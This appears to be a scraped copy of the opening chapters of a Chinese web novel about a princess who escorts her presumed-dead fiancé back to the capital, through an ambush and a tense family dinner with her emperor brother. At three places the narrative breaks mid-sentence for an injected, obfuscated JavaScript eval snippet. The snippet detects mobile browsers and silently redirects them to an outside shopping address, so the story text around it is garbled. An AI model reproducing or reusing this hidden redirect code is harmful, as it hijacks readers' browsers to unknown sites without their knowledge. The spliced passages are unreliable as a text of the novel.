《小青梅一直在解谜》 1. 久别重逢 牧晓遇到了一个棘手的问题。 半个月前，她跟莫老先生出去采药，一头从树上栽了下来。 原本不会有任何事。可惜刚好被她的未婚夫接住。 而她的未婚夫，在此之前已经死了整整三年。 他的死还疑似是牧晓亲哥哥的手笔。 更不巧的是，牧晓身边有她哥派来保护她的暗卫。 现在，牧晓和她诈尸的未婚夫苏墨清，在她哥的威逼利诱下已经踏上秘密进京的旅途。 · 月黑风高，沉重的车轮碾过路面石子，发出咔咔两声闷响。 马车里内没有点灯。只有牧晓和苏墨清两人。 牧晓一身黑色劲装，腰间佩刀，抱手向后仰靠在椅背上，叹息道：“我的未婚夫，别装傻了，我们来好好谈谈吧。进京后你到底打算怎么办？” 苏墨清端坐在黑暗里，只是静静地看着她。 他已经这样看了牧晓一路。 刚开始，牧晓还担心他这三年是不是把头摔失忆，或者变哑巴了。不过根据她一路上对自己这位小竹马的暗中观察，苏墨清应该没什么大问题。 他和三年前一模一样。 “你……”苏墨清骤然开口，似乎想问什么，最终却没问，而是定了定神，换成他认为更重要的问题，“我们的婚事还在？” 牧晓笑了。不过是被气笑的。 她在和苏墨清谈生死攸关的问题，苏墨清问她婚事。 “现在最重要的问题不是这个。你先告诉我，你怎么确保回京后不被我那杀人不眨眼的皇帝哥哥砍头吧。”牧晓笑着说完这句，目光变得锋锐起来，“你担心婚事却不担心你亲族的安危，难道是因为这三年你有别的信息来源？你所在的山谷那样偏僻，竟然还能传递消息？” 苏墨清垂眸：“谈不上传递，只能说略有耳闻。现在再问三年前的事，也已经太迟。”他最后一句声音很低，像是在说服自己。 “是吗？”牧晓听到后笑意陡然蒸发，冷下脸，“我不这么觉得。” 黑暗反衬得两个人的目光更明。 牧晓放下手臂坐直身子，直视着自己这位青梅竹马的眼睛，垂下的手有节律地缓慢敲击着椅子表面：“我不仅不觉得问三年前的事情迟了，很多事情——十多年前的，六年前的，我都想讨个答案。” 她放慢语速，目光更深一层，继续说：“如果无人给我答案，我会自己查个水落石出。” 苏墨清不动声色地与她对视着，眼底一片平静，没有牧晓预想中可能的紧张、担忧或是愧疚，似乎有一丝忪怔和出神。 这和她皇兄倒是完全不一样。牧晓心里一松，慢慢收回目光中的压迫感，若有所思。 车厢内恢复了寂静。 从车帘外透进来侍女芒夏赶车时发出的轻微声响，以及随行马匹的哒哒声。 穿过这片树林，很快就是京城外可供歇脚的客栈。 秋夜的风划过林梢，带起轻微的沙沙声。 树叶沙沙的响动越来越大。 牧晓没有掀开遮窗帘去看，也没有询问马车外的护卫，而是镇定自若地攥住了腰间的刀柄。 从小到大一直陪着牧晓的侍女芒夏，停止赶车，刀光闪烁挡住树林里射来的穿云一箭，同时吹出几声尖锐的哨音。 整个车队一致停下，反应速度飞快，以马车为中心，井然有序地排成防御阵型，与树林里冲出的黑衣人展开搏斗。 这是场早有预谋的截杀。也是场早被预料到的截杀。 车内不点灯的原因就是这个。 苏墨清听着外面的声响，轻轻蹙眉。 谁要截杀他们？ 他自己当下应该没有任何身份和价值才对，截杀大概率不是冲着他来的。 京城近在咫尺，天子脚下，还有人敢截杀当今皇帝唯一同父同母的亲妹妹昭灵公主？截杀昭灵公主除了引来杀身之祸和诛九族外，还能有什么好处？ 这几年到底发生了什么？ 苏墨清思绪纷杂的同时，马车外刀剑乒乓声逐渐稀疏，几声哨音响起。他猛然一惊，下意识伸出左手，单手接住牧晓抓出来扔给他的一把剑。 牧晓深深看他一眼，丢下句：“待在这里，别再死了。”然后提刀飞身出去。 苏墨清低头看向手里的剑，却看不太清。车内太黑，他只能凭着触觉辨认。 剑身剑鞘很显然都被精心保养过。原本已经碎裂的玉牌也被补了起来。 玉牌上的裂纹斜斜穿过三个字的剑名——不平事。 人间太多不平事。说不清是为自己不平，为他人不平，还是人间本就不平。 这是他的剑。三年前本该遗落在西南战场，那个改变了他们和许多人一生的地方。 苏墨清摸着玉牌上的裂纹，一直平静的面容也出现一道裂痕。他闭了闭眼，深吸一口气，弯腰起身，长发顺着肩头滑落，遮住了晦暗不明的神色。 马车外已经安静了下来。车队慢慢点起一盏盏灯火。 苏墨清下车环顾四周，意外地发现战况其实并不激烈。 昭灵公主和她的卫队如砍瓜切菜般拿下了这群“劫道人”，并且没有下太狠的手。 火光侧映在牧晓带着冰冷笑容的脸上。她正用滴血的刀尖挑起瑟瑟发抖的俘虏的下巴左右端详，瞥见苏墨清下车了，收了收略带讥讽之意的笑，随手掏出一块黑色的帕子擦干刀刃上的血，利利落落收刀入鞘，接着快步走到苏墨清身前。 她的侍女加亲卫队指挥芒夏，偷偷往马车方向看了一眼，轻咳一声，提醒她周围还有很多不该出现的人在场。 牧晓在众人隐隐探究的目光中，抬手一刀柄轻敲在苏墨清脑门上，轻呵道：“外面凉，不是让你好好在车上待着吗？怎么，你肩能扛手能提吗？几年前伤得不够重，现在又想帮我砍人了？” 苏墨清被这一敲敲回神来。这一记力道刚刚好，打散了苏墨清有些阴郁的神色，也打散了两人之间许久不见的最后一丝隔阂。 牧晓在说话间越贴越近，最后左手给芒夏打了个手势，示意她处理好现场后继续赶路，右手自然地牵起苏墨清，把他拽上马车。 芒夏瞪大眼睛，有点激动又有点震惊地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708692|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家主子的背影。 要是现场有瓜子和西瓜就好了。芒夏一脚把地上扭动成蛆想逃跑的劫道者踹晕，略带遗憾地想。 · 第二日。 天色微明，城门渐开。 几名官员快马从城内飞驰而出，直奔京郊客栈，半路上正遇车队。 牧晓掀开车帘，见几位官员都是老熟人，挑了挑眉，饶有兴致地问为首官员：“我真够有面子。这位是礼部的姚尚书吧？姚尚书别来无恙？能骑快马，看来这几年我不在京城碍您老的眼，日子舒心不少。” 接着，她转头看向左侧官员：“段御史，我在西南时久闻您初心不改，依旧不断上书弹劾我。”她礼貌微笑，抬手抱拳，“感谢您的教诲。感激不尽，感激不尽。” 几位官员下马后，还未曾出言，便在行礼时听到这熟稔的话语，嘴角微抽。 唱完先声夺人这一出，紧随其后的是先礼后兵。 牧晓给苏墨清打了个不要下车的手势，自己从车上缓步而下，话锋一转：“此次进京有皇兄手谕，车马并未逾制，沿途并未声张，还拿下了劫道贼人。不知二者前来，所为何事？耽误了行程，可不好向皇兄交代。” 姚尚书正色上前一步：“遵圣上旨意，特请昭灵公主与驸马从东城门入京。文武大臣已在道旁等候多时。宫内也已设宴，静待二位入宫。”他并未管车上不曾下车的另一个人。 居然不是来找麻烦的。牧晓略感意外。 密诏中原本要求秘密进京，现在倒好，面上说迎公主和驸马，实则是以迎亲王的规制大张旗鼓，极尽重视。然而，明明有更和善的人选，却派几位与她有过节的官员相迎。 牧晓眸光一动。看来自己这位皇兄又有新打算。 她按规矩接旨行礼后，把旨意在心里嚼几遍，想到什么，笑着询问姚尚书：“驸马？皇兄承认车里坐着的是我的正牌驸马了？” 马车内的苏墨清听到此话骤然睁开眼，缓缓扭头看向车外声音来源的位置。 姚尚书面不改色：“先皇密旨，昭灵公主可自主婚嫁。这份旨意公主自己早已声张过，何必再问老臣。至于当今圣上的意思，臣不敢妄加揣度。” “姚先生。念在我们曾经的师徒情谊上……”牧晓收敛笑意，斟酌称谓再次开口。 “实在不敢当。当今朝野，谁敢自称昭灵公主之师。”姚尚书弯腰行礼，在牧晓上前扶她的时候眼底闪过一丝不忍。他叹口气，眼神往段御史的方向一滑，又装作无可奈何、受宠若惊的样子摇摇头。 牧晓读懂了这份暗示，不再强求，沉默地转身上车。到车内总得和苏墨清先解释一番，免得他一头雾水。 没成想，她还没开口，苏墨清倒是先压低声音开口打趣：“所以我现在的身份，原来明面上是驸马，实际上是王妃吗？牧二小姐好生厉害。” 牧二小姐，这个十多年前闻名京城的称呼，放在现在于礼不合但听起来倍感亲切。十几年前的牧家就不是男女分序，而是混序。只有大少爷和二小姐。十多年来事过境迁，这个称呼早已掩埋于京城烟云，不再被经常提起。 2. 家宴 牧晓着实没想到，他的接受速度能这么快。 经苏墨清这么一打趣，气氛缓和许多。牧晓扑哧一声笑出来，摆摆手，轻描淡写道：“还不至于。不过是在西南略有功绩，朝廷又一时间没掏出合适的人选，才这样惺惺作态。这些事你慢慢就会清楚，不急在这时。” “说好的秘密进京，现在却百官相迎。”苏墨清挑眉看向今早身上就穿好的驸马服制，又看看牧晓身上的公主觐见服制，“你早就预料到了？” “我哪有那么料事如神？况且我皇兄的心思，又有谁能猜得透呢。”牧晓的手指绕着腰上的玉佩玩，“不过我能猜到，今日皇兄迟早是要见我们的。用这两身衣服摆出明面上的身份，要是他还想因为三年前的事杀你，我也有话好应对。” 牧晓坐到苏墨清的身边，玩心大起，申手勾住他的下巴：“看，我为保住你的命如此殚精竭虑，怎么回报我？以身相许怎么样？你是愿意当我的公主驸马，还是回去当你的苏大公子？” 苏墨清看着她的眼睛，坦然回答：“要我选，自然是你的驸马。这个问题，我早就答了数遍。答案始终如一，到现在也不曾改。” 牧晓听到心脏咚咚跳了两声。先出手调戏的人是她，但苏墨清每次都如此直接，到最后先脸红的也还是她。 牧晓用手背试了试自己发烫的脸颊，同手同脚老老实实坐了回去，决定无视苏墨清唇角那压不住的笑意。 马车外芒夏又干咳两声。 离马车最近的姚尚书已经在吹胡子瞪眼了。 走在前方的段御史什么也没听到，听到姚尚书的粗重呼吸声，本着对同僚的表面关心和尊老爱幼的基本道德询问：“尚书大人是否需要问路旁农户讨口水喝？别在半道突发恶疾误了时辰。” 姚尚书听到这话，倒是习以为常：“御史大人，是否需要我家工匠帮忙？墨水瓶子漏了，溅自己和旁人一身可不雅。最好把口拧紧些。” 两位大人都轻哼一声，不再与对方交谈。 牧晓和苏墨清都不太在乎旁人的看法。他们一直以来都是这样，早就习惯了。在车里久违听到两位官员的斗嘴，好笑之余，多了些儿时的亲切感。 京城无论如何都是他们真真实实的故乡。他们生在这里，长在这里，试图离开这里，又在外乡的狂风暴雨中发现自己从未真正离开。 虽说京城势力纷繁复杂，但到底是谁的主场，还不一定呢。牧晓发出一声轻笑。 觥筹交错，阴招绊子，往事秘闻，浮名浮利。一桩桩一件件，他们早就验证过，不去主动探究，也会被命运迫不得已追到跟前。这次不如顺水推舟，借力打力。 牧晓当初离开京城，和她皇兄算是不欢而散。 不知道皇兄现在如何？身心可皆安否？ 是想继续利用她这个妹妹，还是把她收回笼中？ 东城门缓缓出现在视野之内。 天已大亮。 二人下车，在众位官员一下子炸开锅，在姚尚书的主持下又安静下来。 在所有人的隐隐打量与小声议论中，他们并肩坦然进城。 最没规矩、还有能耐有背景的二位，终是回来了。 “公主殿下圣安。”文昌帝身边的纪公公来迎，“皇上已经在家宴上等候多时了。二位，请吧。” · “臣妹/臣参见陛下，恭请陛下万安；参见皇后娘娘，恭请娘娘万安。” 说是家宴，竟然真的只是家宴。与东门外的大排场不同，这场宴会并不铺张，没有把所有皇亲国戚三宫六院都聚在一处，而是只有文昌帝和余皇后两人。 就像从未有过这几年的分别，牧晓顺顺利利与苏墨清完婚，在平平常常的一日，选择入宫与皇兄皇嫂小聚一般。 “坐。先吃饭。”文昌帝和余皇后都没有多说什么，态度也和善。 就是这样，才让牧晓如坐针毡。当年牧府还在，牧晞还是她值得信任的好兄长，余长欣还是能陪她上蹿下跳斗嘴耍宝的余姐姐。她太了解他们了。按他们的性格，应该不能轻轻揭过自己三年前闹的那场才是。现在越平静，等会真的算起账来可能越难过。 而且牧晓隐隐觉得，在吃饭前漏了什么步骤。 在场的三人谁都能察觉出她的局促。这几年离经叛道、凶名在外、上天入地的昭灵公主，抛开朝局权谋，在他们几个这里，本质上都是牧府中那个娇生惯养的妹妹。 但她的这份局促没有持续多久。大家都在沉默吃饭的时候，牧晓想通了。 既然现在不涉朝堂也没有别人，凭什么不安的是她？ 在座的各位，身边这个死而复生、功过难料、身份成谜；堂上的两位，一个杀父杀母杀弟妹杀大臣，一个前朝旧臣之女，论起离经叛道来牧晓得称一句师傅。而她，望门寡远赴边疆守国守城，京外还能遭遇截杀，实在是全场唯一正道。怎么看该愧疚的都不该是她才对。 牧晓把自己哄安心，再回过神来，饭已吃完，碗筷都已撤下，纪公公带着所有太监宫女无声出了殿门。 该来的还是要来。总不能躲一辈子。 牧晓觉得还不是和文昌帝谈三年前老话题的时候。这次见面她一定要把苏墨清安全带出去，就当过明路。于是她率先开口，试图把氛围拉回正轨：“臣妹在京郊遭遇歹人截杀。恳请陛下彻查。” 坐在高位上的牧晞没有看她，拿起茶盏平静道：“抓到的人移交刑部，明日朝会，特许你上朝，到时候再议。在京期间，正事按亲王规章走，私事直接和皇后说。你三年前问的那些，许你放手查，分寸你知道。查到什么都不能透露出去，直接来问我，否则后果自行承担。” “皇兄……哥。”牧晓错愕起身，忘了谢恩。这四句话直截了当，解决了她许多名不正言不顺的问题。 许多年前，她会认为这种求仁得仁是理所应当，她这辈子都会那样顺风顺水。 这些年一路失去，一路跌撞，早就学会自己筹谋算计。再遇到这样熟悉的顺利，反倒生出一丝惶恐。 “好了。还有什么不满意？我当年不是告诉过你，男女性别、贵贱出身都无妨，唯能者居之。你在西南做得不错，断没有因为是我亲妹妹就被克扣功劳的道理。”牧晞抬手示意她不用谢恩，好好坐着就行，缓缓转头看向苏墨清，“今天最重要的问题是这个。” 牧晓绝望闭了闭眼——还不如谈三年前的老话题。 牧晞不疾不徐地继续道：“现在没有旁人。就当在场没有皇帝，还在牧府。苏大公子，说说吧，怎么回事。不是三年前的战场，是你和我妹妹，现在怎么回事，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708693|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后有什么想法。” 话说到这个份上了，牧晓和苏墨清互相交换眼神，从对方眼中看到肯定的答案。 在这件事情上，牧晓从未和她的兄长直接谈过，只是开开心心接受家里的一切安排。可能是妹妹的态度很明确，所以作兄长的从不在这件事上逼问妹妹，要为难永远都是为难苏家人。现在也一样，只让苏墨清表态。 苏墨清斟酌开口：“我一心爱慕牧二小姐。如有条件，愿入赘牧家。” 余长欣听到这里，实在忍不住笑出声，打圆场：“我就说，你们家鸳鸯谱点得好。他们一直都这样，还问什么。现在失而复得、久别重逢，直接赐婚好了。” 现在世上只有牧晞和苏墨清，完完全全知道十多年前定这门亲事的原因。牧晓应该早就对当年的事有所猜测，只是一直未明言；余长欣作为旁观者，或许当初就看透，但当年她自身难保，现在过尽千帆，觉得只要两情相悦，这点小事无所谓。 在世人看来，当年的订婚是引爆牧家造反的导火线。没有牧晓和苏墨清两人不懂事的情投意合，牧家和苏家也不会被逼得联手造反。 但实际上，大多数人并不清楚牧二小姐和苏大公子的具体年岁。他们当时还太小，不过是整场造反中最后一根微不足道的稻草，两个小棋子、小借口罢了。 他们到了适婚年纪还真的情投意合，才是三年前最大的麻烦问题。 也是当年困扰苏墨清的“不平事”之一。 当初还是糊涂得要命的年纪，过了这三年，两人已想得清清楚楚、明明白白。 牧晞听到回答后倒是显得饶有兴致，拍了两下手，对这对小鸳鸯的情比金坚给予鼓励：“好。我不在婚事上为难你们。你们具体以什么身份地位大婚、什么时候大婚，你们自己准备。御史什么时候参你们、参到什么地步，看你们本事。”说罢，他缓缓拿起茶盏抿了一口。 在场其余三人还没松口气，只听嘭的一声，文昌帝抬手把茶盏摔得四分五裂，门外的太监宫女进来，跪了一地。 牧晓意识到，终究是自己想少了。能成功把死而复生的苏墨清带出宫不算什么难事。三年前因苏家父子相继身死而烟消云散的战场细节，定会旧事重提。 离开西南战场，京城还有数不清的战斗虎视眈眈、一触即发。 “送客。”文昌帝冷冷丢下两个字，转身大步离去。 余皇后顿了顿，眼神安抚他们后，也转身离席。她清楚，文昌帝与其他人说话，从不说得这样明白。显然，他根本没有动怒，还起了培养这个妹妹的意思。故意松松态度漏个空子，给昭灵公主搅浑水的机会。 牧晓在宫人进屋时踉跄一下，仓促跪地间，听到腰间刀鞘撞击地面的声响，猛然抬头看向文昌帝和余皇后离去的方向，眼中的迷茫和愣怔一扫而空。 她记起了。 进宫前漏掉的步骤，是搜身和存放武器。 即使上次见面她大闹一场、不欢而散，多年未见，她入宫依旧可以光明正大佩刀。 她这一跪，不是给皇上的，不是给兄长的。 应是给传道授业解惑的师长。 她想起启蒙先生姚尚书的话“当今朝野，谁敢自称昭灵公主之师”。 有的。 正坐在高堂之上。 3. 两府 从长阶上缓步而下，被日头一晒，牧晓觉得身上阴冷沉重的负累都可以先放一放。 她眯起眼睛享受着大好阳光，想到明天还要上殿舌战群儒，决定找个地方放松一下。 “炸过百官，见过皇兄皇嫂……姚姨那边我早就送过信啦，你母亲说很快就能到京。”牧晓一项一项数着。 “先去公主府换下这身正装，然后，要不要去你家看看？”牧晓想到了这个很有趣的地方，狡黠一笑，“不用和我说，我知道你名义上的家里现在没你在乎的人。有你那后母和异母弟妹在，你家这几年比京城哪条街都好玩。不好奇？” 昭灵公主府就是原本的牧府。先皇特赐。 在里面呆久了，往事就会扑面而来。 她这几日思考往事有些疲惫，现在有点刻意回避的意思。 苏墨清看出她脑子累了，怀念起动手的乐子，点头同意，但笑不语。 芒夏就在宫门口候着，见公主和驸马一起出来，而且心情还不错。她快步迎上去，故意压低声音说：“殿下，不用我帮忙抢人了？” 牧晓下意识上前，想捂住她的嘴，嘴里小声说：“姐，芒夏姐，算我怕你。没事就不提这个。宫门口不是说话的地方。先回府换衣服，然后去苏家。”说完，她和钻地缝似的快步走上马车。 坐在马车里，苏墨清投去询问的目光。 牧晓只得硬着头皮解释：“路上做了最坏的打算。万一皇兄看到我们，一言不合就暴怒想砍了我们，我也得想想办法、做好防备。” “现在看来，是我小人之心度君子之腹。”牧晓扶额揉揉眉心，“我知道，皇兄的有些话可能只是帝王之术。但单凭结果，确实是我误判。这下不用着急，一步一步来吧。” 公主府的位置实在便利，马车没行几步就到了。 和芒夏同批的侍女露秋，早年受过重伤，在昭灵公主离京时便没有跟随前往西南，而是留在京城府中充当管事的角色。 府内早已准备妥当。露秋许久不见从小看着长大的小姐和同期姐妹，更别说小姐还成功带回了心上人。公主府在她的张罗下，外部看不出，内部和张灯结彩过年没什么区别。 牧晓和苏墨清二人更衣后，默契地不再谈论任何朝堂有关问题，也没有闲下来，而是在牧晓和露秋保证一定回去用晚膳后，按照计划前往苏家。 说是苏家，匾额上其实是延国公府。 不过，自从延国公，也就是苏墨清的父亲苏老将军三年前离世后，延国公府里便没有了延国公。 苏老将军原配姚夫人身体欠佳，生下嫡长子苏墨清时年纪已然不小。姚夫人在苏老将军获得延国公爵位没几年，就因不明原因与他和离。 苏家是嫡庶男女皆分序。与原配和离后，苏老将军扶正了有庶长子苏墨淳和庶长女苏沁的孙氏。 苏墨清三年前死在苏老将军前头，延国公的爵位本该由已是嫡子的苏墨淳世袭。 但不巧的是，孙氏在当年被扶正后有些飘飘然，拿自己儿子苏墨淳的妻子小妾摆婆婆的款、作威作福习惯了。牧晓有次独自溜来延国公府找苏墨清，孙氏顺手也想修理这个她一直看不惯的准儿媳。 在孙氏眼里，虽然她和她儿子见到苏墨清就发怵，但不论是谁家的女儿，和延国公府的小辈定了亲，日后都得尊她为婆婆。 昭灵公主又怎样。婆婆管儿媳，天经地义。 未曾料到，没捏到软柿子，捏到了流星大铁锤。 牧晓当天本就心情不佳，刚开始听到三从四德什么的还在走神，后来孙氏忘乎所以，越骂越难听，又想动手又想罚她的时候，她也回过神来，各种怒火燃起，直接把孙氏和在一旁为孙氏加油助威的一双儿女都给打了，上来试图拉扯她的丫头婆子也没放过。 昭灵公主在愤怒之余还保持了一丝理智和习武人的优雅，自己一根头发丝都没乱，来者不分身份，一律痛打，专打疼却不会留太深痕迹的地方。 到最后，孙氏满院的人咿咿呀呀躺了一地，延国公府不是孙氏院里的人也不敢动昭灵公主，所有人目送着打完人消了气的昭灵公主甩甩手，扬长而去。 孙氏自己吃了亏，最后还要被各方斥责惩罚，险些被休。 最开始的梁子就是这么结下的。 得罪了昭灵公主，就是苏家人死绝了，爵位也没孙氏儿子的份。 要把爵位给其他人，孙氏又不同意。 延国公的爵位就这样空下来，暗合多方意。 · 当初的牧家离苏家着实不远。牧晓和苏墨清没走几步就到。 昭灵公主的令牌一闪，家丁管事都知道两家渊源，无人敢拦，只是飞奔进去通报，一路试探性地问：“旁边这位，真是苏大公子吗？活的？”显然，上午进城时，苏墨清死而复生的消息就被有心人传遍全城，绝对不会落下这个没有延国公的空壳延国公府。 与最早知道消息、张灯结彩的昭灵公主府不同，延国公府外围的气氛堪称披麻戴孝。 牧晓第一次和孙氏结梁子后，很长一段时间不来这边。 不过三年前，她倒是常来。 这几年延国公府在孙氏的管理下，上上下下都有点不太机灵的意思。 比三年前的延国公府好玩太多。 顺着廊道走，后院就显得不同凡响起来。唱戏杂耍的，斗蛐蛐的，跳舞的，演奏乐器的，围着花坛叮叮咚咚来了一圈。 花坛中央空出一圈，摆着整个延国公府最喜庆的花哨大椅子。椅子旁边站着一个不停说话的小厮，椅子上躺了个醉醺醺正在喝酒的人，是苏墨淳。 苏墨淳趁着酒劲，模模糊糊看到一个漂亮姑娘路过，刚想问问是哪位，揉揉眼睛再看，酒都被吓醒了，咚的一声从椅子上掉下来，瘸着腿爬不回去。旁边说话的小厮想扶却扶不起来，只能干着急。 苏墨清扫了几眼，有种事不关己的闲适。牧晓仔细端详着周围的卖艺人，自始至终没给苏墨淳任何一眼。 周围的音乐和嬉闹声一下子停了。 最好的卖艺人都被苏墨淳抓来了。表演停下，牧晓没心情在这个院里停留，继续向前走。 走进有炉子的茶室，牧晓示意苏墨清稍坐片刻。她转身去隔壁，拿了什么木质的牌子东西丢进火里。 整套烧东西的动作行云流水，应该这样做过无数次。 牧晓此行最大的目的，就是再次烧掉那个木头牌子。看热闹只是顺便。 做完这件事，牧晓整个人都轻松许多。 她也坐下，神秘地笑了笑，开始倒数：“三，二，一” “她是不是又来了？说话呀！”孙氏歇斯底里询问女儿苏沁的声音由远及近，但在看到屋子里坐着的两个人后，像是被夹住了脖子，一下子没了声音。 “今天心情好，你们几个也学乖了。我谁也不打。”牧晓对着手抖如筛糠、快要背过气去的孙氏，笑得更灿烂，“不用再自欺欺人了。那块东西别再做。浪费。不如自己去药铺抓把药治治脑子。” 苏墨清看着自己在火中燃烧的牌位，若有所思。 火越烧越大，完全吞没了那个牌位。 他看着看着，嘴角不住上扬。 牧晓其实什么也没问，但他已经猜出她想知道什么。 苏墨清起身，快步牵起牧晓的手往外走：“苏家我不管。我不是为了这些回来。走，我们回家。” 他们把整个面目全非的延国公府抛在身后，十指相扣从灯火阑珊走向灯火通明。 与站在门口的孙氏和苏沁擦肩而过时，孙氏下意识往旁边一缩。 看着自己牌位被烧还笑的，怎么看都不像个正常人。 真是活的？不会是恶鬼借尸还魂吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708694|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他俩原本和恶鬼也没差呀。 直到听苏墨清说不管苏家，孙氏恍惚之余，喜上眉梢。 这是好事。 这下，延国公府也要开席了。 · 昭灵公主舟车劳顿，明日又要上朝。公主府内便没有闹得太厉害。 公主府的侍从很多都是当年牧府旧人。 体谅公主和驸马要早些歇息，两人也肯定有许多话想私底下关起门来说。 想亲眼见见公主和驸马的丫头婆子管事小厮们，聚在一起一合计，决定摇筒抽签。 于是，在牧晓视角里，就成了门外一阵一阵飘过一个一个熟人。 他们看似有的手里端着东西，有的扫地，有的擦窗台，有的给花浇水。 实际上，为了偷偷向里面望一眼，端的东西洒了，扫地的出场；扫地的一头撞在窗台上，又跳出来一个擦窗台的；擦窗台的碰掉了一片花叶子，跑出来一个给花浇水的。 “这些招式还是我当年教他们的。”牧晓托腮微笑点评，“叶子掉了来浇水，有点刻意。” “西南会安生一段日子。我会在京中多待些时日。来日方长，用不着和我只在这里住一晚上似的。”牧晓侧头和公主府管事露秋说。 牧晓知道，为了让府里热闹些，露秋默许了这个无伤大雅的小游戏。 如果是平时，她会和他们玩上一玩。 但明日朝会还得做些准备。 “我和苏大公子有要事相谈。清一清屋子周围的人。”牧晓吩咐道。 “是。”露秋正色。这是要把明里暗里的人都清退的意思。 两声特制轻哨，周围骤然寂静。 “按皇兄的意思，明日朝会主要解决那场截杀，但保不齐会有人因你的归来重提三年前的玄岳关之战。”牧晓指节轻敲桌面分析道。 “今日你看到了。我无意瞒你任何事，也无意把你藏起来。即使这样做能省去很多麻烦，我也确实想过。”牧晓抬头，坦诚且认真，“若你有什么一定要瞒着的，给个能说服我的理由，我也不介意。” 苏墨清平静地开口：“我没有什么不能告诉你的。但很多事现在只是我的猜测，我还需要更多京城之中的细节。玄岳关之战，与真相有关的信息，我并不比你们知道的多。即使我是局中人。” “不过我可以保证，我的死亡非我策划。后续的假死也不在我的预料之中。” “推测按主谋的意思，我本该真的死在西南。” 玄岳关之战，胜了，也败了。 重创西南入侵部族，大周自身伤亡人数不多，本应是场大捷，能保西南边境多年和平。 但在班师回朝时，出现了问题。 第一日，捷报传到京城，朝野振奋。 第二日，苏小将军身死的消息到京，朝臣还能痛惜天妒英才，计划替代人选。 第三日，苏老将军身死的消息到京，朝内一片哗然。 西南边防军中威名赫赫的苏老将军和苏小将军，在一场至关重要的大捷后相继死去。千里之外的京城和西南当地一时骇浪滔天。 最初，朝内虽然震惊，但认为苏氏父子并非不可替代。 但当最精锐的将领无法从别处调离，朝中能派出的将领竟只能顶住一时。 西南顷刻间失去了核心凝聚力，不再是铜墙铁壁。 短时间内还算平静，但明眼人都清楚，长此以往定会出现问题。 牧晓轻敲桌面的手，沉默地攥紧成拳。 思索片刻后，她道：“那明天我去上朝处理京郊截杀，你先梳理玄岳关的事。京中事问露秋，我在西南查到的事问芒夏。你知道，她们不是普通侍女。要是漏了什么，我回来补上。” 苏墨清没有任何异议。但想到京郊截杀，他话锋一转：“对于京郊截杀，你好像提前知道，也并不担心。” 4. 第一朝 牧晓顿了顿，耸耸肩：“看起来像是提前预料，实际上是因为明里暗里得罪的人太多，有备无患罢了。我其实没料到会在京郊出事，只是习惯保持警惕。” “而不担心，是因为我不觉得皇兄完全不知道这件事。说不定他本来就想处理谁，还想试试我身边的实力，一箭双雕呢。” “意识到了吗？”牧晓笑眯眯问，“现在待在我身边可不安全得很。妖女魔头，牝鸡司晨，扰乱朝纲，礼乐崩坏，三不从四不德。打着正道旗号，想清除我的可不少。” “现在京城里，你死而复生的消息，百官被胁迫以亲王礼迎公主进城的消息，皇兄见我们后震怒的消息，大概都已经传开了。” “说不定在别人眼里，你是被骄横女魔头强抢进门的可怜小白花呢。” 牧晓畅想一通，直觉自己的想象力应该还是不够。 街头巷尾应该有更好玩的流言。 苏墨清轻笑：“荣幸之至。求之不得。” 牧晓有些不可思议地看着他：“你这三年到底想通了点什么？我怎不知流落乡野还有这种奇效。我怎么记得……” “在京城时，觉得世间不过这么大，算计来算计去，最后一掂量，发现得不偿失；在西南时，觉得世间太残忍，刀光剑影杀来杀去，明明双方都是为了活下去。”苏墨清轻描淡写，“真到了另一种境遇，才会后悔。后悔自己在意的事情太多，瞻前顾后束手束脚，该珍惜的不够珍惜，该放手的没有放手。” “思考来思考去，还是觉得你当初说得对。” “平生事只三件 —— 风动，心动，行动。” 牧晓听后失笑：“我都不记得我说过。苏小将军，我观察了你几天，现在觉得你入错行了。当初怎么当武将，没去科考？” “昭灵公主这几年在西南屡立奇功，怎么当初没自行师从武者、习读兵书，而是在姚先生门下昏昏欲睡？”苏墨清微笑反问。 两人一同大笑起来。 家学渊源，长辈教诲，门楣责任。 他们过去被困在不同的四方天中，以为自己一辈子都会在父辈划定的车轨上合辙前进。 可惜时移势易，造反起业的两家人都忘了，反骨丛生才是烙印在自家血脉中的最深特质。 命运颠碎他们身上的枷锁，时局扬走火堆中不燃的尘沙。 强弱斗转，胜负未分，唯进者不败。 他们终将劈出属于自己的路。 “各自歇息吧。明日可是入京以来的第一场仗。” 牧晓起身开门。 门外，清风明月如期而至。 · 钟鸣鼓和，文昌帝已至奉天殿。 牧晓在西南时预感到，她总有一天会站在朝堂之上，因此特意习过上朝流程和礼仪。 但礼官教的与实际情况总有不同。 